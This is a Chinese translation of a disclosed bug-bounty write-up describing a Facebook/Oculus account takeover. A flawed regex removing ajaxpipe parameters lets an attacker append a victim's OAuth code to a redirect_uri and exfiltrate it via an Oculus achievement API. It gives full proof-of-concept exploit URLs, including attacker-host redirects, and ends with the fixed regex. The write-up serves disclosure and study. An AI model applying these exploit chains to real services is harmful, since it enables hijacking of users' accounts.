此错误可能允许恶意用户窃取第一方Facebook应用程序的access_token/code,并使用它来接管Facebook帐户。发生这种情况的原因是,在将ajaxpipe或quickling参数添加到Facebook构建的任何网站中的任何请求的终端时,返回了一些预格式化的脚本。
对发送到任何Facebook终端/页面的请求的响应可能会以不同于通常格式的方式返回:正常响应将是HTML页面,其中包含终端正在提供的数据或功能。但是,如果不需要向用户显示请求的终端/页面的内容,但是另一页面需要返回的数据,可以将ajaxpipe或quickling等参数添加到请求中,这将导致页面的内容不显示,而是通过调用一个名为require的函数和一个名为JSONPTransport的模块转移到父窗口。这通常是作为执行ajax请求的另一种方式来完成的。这样的请求的响应包含了前面的参数,就像这样:
此时该脚本用于将页面的内容传输到父窗口(如果源相同),但是如果当前窗口位于顶部,则它将执行一些正则表达式匹配,以在删除所有quickling/ajaxpipe/ajaxpipe_token 参数出现的拼写错误之后更改页面的位置。当然,这里会检查并修改window.location.search,因为它将返回当前URL的querystring部分。
这里的错误是,正则表达式不能正确执行,这样攻击者就可以滥用它,进行一些攻击。首先让我们先找出这里的问题所在:
1.如果我们分析代码,就会注意到Java替换方法用于使用正则表达式匹配来修改location.search值。由于使用正则表达式匹配的所有内容都将被替换为“”,因此将被删除。
2.正则表达式的参数名称(quickling | ajaxpipe | ajaxpipe_token)放在“ \ b”锚之间,这将使单词仅与它们匹配(这些字符串在非单词字符之间找到)。然后,它将查找零次或多次出现的字符&。使用了g修饰符,这意味着它将执行全局匹配(不会在第一次匹配时返回)。例如,如果我们将查询字符串部分设为“?ajaxpipe = 1&test = value”,则此正则表达式将匹配ajaxpipe = 1&并将其删除。
第一个问题是在正则表达式的开头使用了锚“ \ b”,它将在出现上述单词之前查找非单词字符(应在此组集中找不到任何字符[A-Za-z0-9_ ]进行匹配)。但是,这将允许在诸如(?,–,=)之类的单词之前包含其他字符,这将在以后的攻击中提供很大帮助。
第二个问题是,此正则表达式将匹配这些单词在url的查询字符串部分中的任何位置,而不仅是将它们作为参数名称来匹配。这也与第一个问题有关或由第一个问题引起。确保这些单词是参数名称的一种方法是检查在它们之前是否有&字符或单词是在字符串的开头A ?字符(使用^\?)。举个例子,如果我们取url " ?Testing =ajaxpipe=random ",那么ajaxpipe=random将被匹配,即使它是提供给参数的值,而不是参数名。最终的问题是使用了g修饰符,该修饰符可以进行多次匹配。 querystring部分可以包含单词ajaxpipe / quickling / ajaxpipe_token作为参数名称,同时还包含提供给其他参数的值。匹配完成后,将替换参数以及其他参数内部的值。这将使我们能够利用先前的问题来全面构建可利用的漏洞利用程序。
如果你想更好地了解正则表达式的工作原理,请尝试使用regex101或regexr。
总结一下我的想法:
让我们以以下网址为例:
https://www.facebook.com/endpoint?ajaxpipe=1&redirect_uri=https://attacker.com/?code=ajaxpipe=2&token=ACCESS_TOKEN。
参数ajaxpipe = 1将导致返回开头描述的响应。由于窗口位于顶部,因此正则表达式将尝试替换ajaxpipe参数。它将首先匹配ajaxpipe = 1&,然后由于问题1和2,也将匹配ajaxpipe = 2&(它们导致字符=在ajaxpipe = random之前被允许,而且不是参数名而是参数值) 。
这两个匹配项将被删除,页面将被重定向到:
https://www.facebook.com/endpoint?redirect_uri=https://attacker.com/?code=token=ACCESS_TOKEN。
这里发生的是,参数token = ACCESS_TOKEN成为了redirect_uri参数内的值的一部分,并被格式化为将值作为值附加到redirect_uri内URL内的代码参数的方式。另外,ajaxpipe=1参数被删除,这导致返回的页面响应是正常的响应。
现在,如果终端将重定向到redirect_uri内部的URL,它将导致重定向到https://attacker.com/?code=token=ACCESS_TOKEN,这会将ACCESS_TOKEN泄露给攻击者。此处预期的安全行为是重定向到https://attacker.com/?code=ajaxpipe=2。
我利用这种行为来实现了接管Facebook / Oculus帐户的可能性。由于这存在于大量的Facebook网站(facebook.com,oculus.com,messenger.com…)中,我有一个很大的范围去寻找一种方法来滥用它:
1.要登录到你的Oculus帐户,你应该访问https://auth.oculus.com/login/。该页面允许你使用Facebook登录到你的帐户。如果你已经登录到Facebook,并且已经将Oculus帐户链接到你的Facebook帐户,则访问此页面将导致你自动登录到你的Oculus帐户(Facebook Javascript SDK向Facebook.com和通过/ x / oauth / status终端获取access_token)。
2.你还可以使用OAuth流(/ dialog / oauth终端)从Facebook请求用于Oculus登录的代码。 URL示例如下:https://www.facebook.com/v3.1/dialog/oauth?app_id=1517832211847102&redirect_uri=https://auth.oculus.com/login/&response_type=code。这将重定向到https://auth.oculus.com/login/?code=FB_CODE。
3.Oculus应用程序的redirect_uri可以在https://auth.oculus.com/login之后附加任何字符串。这意味着我们可以添加其他参数或更改回调终端。
4.有一个终端https://auth.oculus.com/login-without-facebook/,它接受一个名为redirect_uri的参数。如果用户已经登录到Oculus,它将重定向到redirect_uri内部的URL。我们可以在Facebook OAuth流中的redirect_uri中使用此终端。
第一次尝试
我们结合先前的事实来进行第一次攻击,受害者访问此URL:
https://www.facebook.com/v3.1/dialog/oauth?app_id=1517832211847102&redirect_uri=https://auth.oculus.com/login-without-facebook/?ajaxpipe=1%26redirect_uri=https://ysamm .com /?code = ajaxpipe&response_type = code
这将重定向到https://auth.oculus.com/login-without-facebook/?ajaxpipe=1&redirect_uri=https%3a//ysamm.com/%3fcode%3dajaxpipe&code=FACEBOOK_CODE。由于我们有一个ajaxpipe参数,因此将返回第二个响应格式,并使用正则表达式进行替换。突出显示的部分将被删除。第二个ajaxpipe&不会在此处删除,因为浏览器将对参数的值进行URL编码,这将导致=字符被%3d替换。由于d在ajaxpipe之前,并且是一个字字符,因此即使受到攻击,匹配也会失败。
第二次尝试
如果在参数值中找到字符,我会寻找这些字符不是由浏览器进行URL编码的字符。我发现–未对URL进行编码,因此我在第二个ajaxpipe之前插入了它:
https://www.facebook.com/v3.1/dialog/oauth?app_id=1517832211847102&redirect_uri=https://auth.oculus.com/login-without-facebook/?ajaxpipe=1%26redirect_uri=https://ysamm .com /?code = -ajaxpipe&response_type = code
此URL将导致重定向到https://auth.oculus.com/login-without-facebook/?ajaxpipe=1&redirect_uri=https%3a//ysamm.com/%3fcode%3d-ajaxpipe&code=FACEBOOK_CODE
由于现在两个ajaxpipe都使用正则表达式进行匹配,因此将导致另一个重定向(因为如果你没有注意到,上述脚本将在删除后为window.location.search分配一个新值)到https:// auth。 oculus.com/login-without-facebook/?redirect_uri=https%3a//ysamm.com/%3fcode%3d-code=FACEBOOK_CODE
如果你在此处注意到代码= FACEBOOK_CODE附加在参数redirect_uri的值后面,而不是单独的参数。如果login-without-facebook终端将重定向到redirect_uri参数中的URL,则最终我们将被重定向到https://ysamm.com/?code=-code=FACEBOOK_CODE,尽管窃取了受害者的Facebook OAuth代码。不幸的是,该终端已经设置了针对开放重定向的保护,因此我不得不找到一种方法,可以通过重定向到列入白名单的域来泄漏代码。
第三次也是最后一次尝试
API终端https://graph.oculus.com/{OC_APP_ID}/achievement_definitions可用于为某个拥有的oculus应用程序创建新的成就定义。终端接受许多参数,其中一些参数将被保存,稍后我们可以获取它们。要向此API终端发出请求,我们可以在最终URL中包含我们自己的应用程序凭据,以发送给受害者。我们可以使用其中一个参数,例如description字段,该字段应填充受害者代码。稍后可以通过首先获取https://graph.oculus.com/{OC_APP_ID}/achievement_definitions?method=get&access_token=OC|ATTACKER_APP_ID|APP_SECRET来检索代码。这将返回成就ID列表,每个id都将引用不同的存储代码。要检索代码:
https://graph.oculus.com/{ACHIEVEMENT_ID}?fields=description&method=get&access_token=OC|ATTACKER_APP_ID|APP_SECRET。我们会在说明字段中找到“ -code = CODE_HERE”。
概念证明
https://www.facebook.com/v3.1/dialog/oauth?app_id=1517832211847102&redirect_uri=https%3A%2F%2Fauth.oculus.com%2Flogin-without-facebook%2F%3Fajaxpipe%3D1%26redirect_uri%3Dhttps%253a%2F%2Fgraph.oculus.com%2FATTACKER_APP_ID%2Fachievement_definitions%253fmethod%253dpost%2526access_token%253dOC|ATTACKER_APP_ID|ATTACKER_APP_SECRET%2526api_name%253dVISIT_3_CONTINENTS%2526achievement_type%253dBITFIELD%2526achievement_write_policy%253dCLIENT_AUTHORITATIVE%2526target%253d3%2526bitfield_length%253d7%2526is_archived%253dfalse%2526title%253dAchievement%2526unlocked_description_override%253dYou%252bdid%252bit%2526is_secret%253dfalse%2526description%253d-ajaxpipe&response_type=code
其中OC | ATTACKER_APP_ID | ATTACKER_APP_SECRET是攻击者拥有的Oculus应用程序凭证
该网址将重定向到:
https://auth.oculus.com/login-without-facebook/?ajaxpipe=1&redirect_uri=https%3A%2F%2Fgraph.oculus.com%2FATTACKER_APP_ID%2Fachievement_definitions%3Fmethod%3Dpost%26access_token%3DOC%7CATTACKER_APP_ID%7CATTACKER_APP_SECRET%26api_name%3DVISIT_3_CONTINENTS%26achievement_type%3DBITFIELD%26achievement_write_policy%3DCLIENT_AUTHORITATIVE%26target%3D3%26bitfield_length%3D7%26is_archived%3Dfalse%26title%3DAchievement%26unlocked_description_override%3DYou%2Bdid%2Bit%26is_secret%3Dfalse%26description%3D-ajaxpipe&code=VICTIM_CODE
这将导致返回第二个格式响应,并且正则表达式试图删除ajaxpipe单词外观,它应该重定向到以下URL:
https://auth.oculus.com/login-without-facebook/?redirect_uri=https%3A%2F%2Fgraph.oculus.com%2FATTACKER_APP_ID%2Fachievement_definitions%3Fmethod%3Dpost%26access_token%3DOC%7CATTACKER_APP_ID%7CATTACKER_APP_SECRET%26api_name%3DVISIT_3_CONTINENTS%26achievement_type%3DBITFIELD%26achievement_write_policy%3DCLIENT_AUTHORITATIVE%26target%3D3%26bitfield_length%3D7%26is_archived%3Dfalse%26title%3DAchievement%26unlocked_description_override%3DYou%2Bdid%2Bit%26is_secret%3Dfalse%26description%3D-code=VICTIM_CODE
代码参数已附加到redirect_uri,由于graph.oculus.com是一个列入白名单的域,因此终端/ login-without-facebook /将重定向到redirect_uri内部的URL:
https://graph.oculus.com/ATTACKER_APP_ID/achievement_definitions?method=post&access_token=OC|ATTACKER_APP_ID|ATTACKER_APP_SECRET&api_name=VISIT_3_CONTINENTS&achievement_type=BITFIELD&achievement_write_policy=CLIENT_AUTHORITATIVE&target=3&bitfield_length=7&is_archived=false&title=Achievement&unlocked_description_override=You+did+it&is_secret=false&description=-code=VICTIM_CODE
由于access_token有效,因此应使用值为-code = VICTIM_CODE的字段描述创建新的成就定义。
我们可以通过查询创建的成就定义数据来获取受害者代码,获取代码将使我们能够访问Oculus帐户。访问Oculus帐户后,我们可以获取Facebook access_token并将其用于接管Facebook帐户。
缓解措施
Facebook通过使用更严格的正则表达式删除ajaxpipe单词来解决此问题:
window.location.search.replace(/(^\?|&)(quickling|ajaxpipe|ajaxpipe_token)\b[^&]*&?/g, “$1”)。
注意,现在所有前面提到的问题都已缓解。现在,它确保只有在字符&或开头是?时,这些单词才匹配。^在这里很重要,而不仅仅是检查?,因为在浏览器未对参数值进行URL编码的情况下,这可能会导致绕过,因为我们在poc中可以使用description =?ajaxpipe&而不是description = -ajaxpipe&。
本文翻译自:https://ysamm.com/?p=654如若转载,请注明原文地址